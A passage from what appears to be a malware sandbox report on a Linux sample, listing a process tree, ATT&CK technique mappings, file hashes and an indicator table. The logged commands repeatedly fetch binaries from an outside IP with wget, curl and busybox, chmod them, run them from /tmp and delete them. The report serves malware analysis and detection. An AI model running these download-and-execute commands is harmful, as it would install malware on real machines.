  /bin/busybox wget http://87.120.125.191/bins/PyPBFPR0Pt6tB4XseU1Sv57NhFI180mDAB
  2⤵
  PID:993
- /bin/chmod
  chmod 777 PyPBFPR0Pt6tB4XseU1Sv57NhFI180mDAB
  2⤵
  - File and Directory Permissions Modification
  PID:994
- /tmp/PyPBFPR0Pt6tB4XseU1Sv57NhFI180mDAB
  ./PyPBFPR0Pt6tB4XseU1Sv57NhFI180mDAB
  2⤵
  - Executes dropped EXE
  PID:995
- /bin/rm
  rm PyPBFPR0Pt6tB4XseU1Sv57NhFI180mDAB
  2⤵
  PID:996
- /usr/bin/wget
  wget http://87.120.125.191/bins/mzqvBUlcGTSOB2frNbMnfUnjEAIrWsP8zH
  2⤵
  PID:997
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/mzqvBUlcGTSOB2frNbMnfUnjEAIrWsP8zH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:998
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/mzqvBUlcGTSOB2frNbMnfUnjEAIrWsP8zH
  2⤵
  PID:999
- /bin/chmod
  chmod 777 mzqvBUlcGTSOB2frNbMnfUnjEAIrWsP8zH
  2⤵
  - File and Directory Permissions Modification
  PID:1000
- /tmp/mzqvBUlcGTSOB2frNbMnfUnjEAIrWsP8zH
  ./mzqvBUlcGTSOB2frNbMnfUnjEAIrWsP8zH
  2⤵
  - Executes dropped EXE
  PID:1001
- /bin/rm
  rm mzqvBUlcGTSOB2frNbMnfUnjEAIrWsP8zH
  2⤵
  PID:1002
- /usr/bin/wget
  wget http://87.120.125.191/bins/tJS3l0KJDKZRMeCfgNcjvioMmHj64fpBbj
  2⤵
  PID:1003
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/tJS3l0KJDKZRMeCfgNcjvioMmHj64fpBbj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1004
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/tJS3l0KJDKZRMeCfgNcjvioMmHj64fpBbj
  2⤵
  PID:1005
- /bin/chmod
  chmod 777 tJS3l0KJDKZRMeCfgNcjvioMmHj64fpBbj
  2⤵
  - File and Directory Permissions Modification
  PID:1006
- /tmp/tJS3l0KJDKZRMeCfgNcjvioMmHj64fpBbj
  ./tJS3l0KJDKZRMeCfgNcjvioMmHj64fpBbj
  2⤵
  - Executes dropped EXE
  PID:1007
- /bin/rm
  rm tJS3l0KJDKZRMeCfgNcjvioMmHj64fpBbj
  2⤵
  PID:1008
- /usr/bin/wget
  wget http://87.120.125.191/bins/XTnoPSn5DsJHGzmKRgW8S0senpmoojojZ5
  2⤵
  PID:1009
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/XTnoPSn5DsJHGzmKRgW8S0senpmoojojZ5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1010
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/XTnoPSn5DsJHGzmKRgW8S0senpmoojojZ5
  2⤵
  PID:1011
- /bin/chmod
  chmod 777 XTnoPSn5DsJHGzmKRgW8S0senpmoojojZ5
  2⤵
  - File and Directory Permissions Modification
  PID:1012
- /tmp/XTnoPSn5DsJHGzmKRgW8S0senpmoojojZ5
  ./XTnoPSn5DsJHGzmKRgW8S0senpmoojojZ5
  2⤵
  - Executes dropped EXE
  PID:1013
- /bin/rm
  rm XTnoPSn5DsJHGzmKRgW8S0senpmoojojZ5
  2⤵
  PID:1014

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI

Path /tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI	772	AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
/tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL	779	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
/tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD	791	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
/tmp/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL	813	jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
/tmp/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G	837	UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
/tmp/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV	848	T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
/tmp/7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb	854	7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
/tmp/Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq	878	Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq
/tmp/YCnuHC0u0DjgERQOBQlOAcckWPLnk2qNbu	896	YCnuHC0u0DjgERQOBQlOAcckWPLnk2qNbu
/tmp/0sThW9ei0gGT8nX91Izp157RLtJuQC6YHw	902	0sThW9ei0gGT8nX91Izp157RLtJuQC6YHw
/tmp/PyPBFPR0Pt6tB4XseU1Sv57NhFI180mDAB	911	PyPBFPR0Pt6tB4XseU1Sv57NhFI180mDAB
/tmp/mzqvBUlcGTSOB2frNbMnfUnjEAIrWsP8zH	917	mzqvBUlcGTSOB2frNbMnfUnjEAIrWsP8zH
/tmp/tJS3l0KJDKZRMeCfgNcjvioMmHj64fpBbj	923	tJS3l0KJDKZRMeCfgNcjvioMmHj64fpBbj
/tmp/XTnoPSn5DsJHGzmKRgW8S0senpmoojojZ5	929	XTnoPSn5DsJHGzmKRgW8S0senpmoojojZ5
/tmp/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV	935	T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
/tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI	941	AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
/tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL	947	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
/tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD	953	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
/tmp/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL	959	jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
/tmp/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G	965	UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
/tmp/7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb	971	7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
/tmp/Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq	977	Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq
/tmp/YCnuHC0u0DjgERQOBQlOAcckWPLnk2qNbu	983	YCnuHC0u0DjgERQOBQlOAcckWPLnk2qNbu
/tmp/0sThW9ei0gGT8nX91Izp157RLtJuQC6YHw	989	0sThW9ei0gGT8nX91Izp157RLtJuQC6YHw
/tmp/PyPBFPR0Pt6tB4XseU1Sv57NhFI180mDAB	995	PyPBFPR0Pt6tB4XseU1Sv57NhFI180mDAB
/tmp/mzqvBUlcGTSOB2frNbMnfUnjEAIrWsP8zH	1001	mzqvBUlcGTSOB2frNbMnfUnjEAIrWsP8zH
/tmp/tJS3l0KJDKZRMeCfgNcjvioMmHj64fpBbj	1007	tJS3l0KJDKZRMeCfgNcjvioMmHj64fpBbj
/tmp/XTnoPSn5DsJHGzmKRgW8S0senpmoojojZ5	1013	XTnoPSn5DsJHGzmKRgW8S0senpmoojojZ5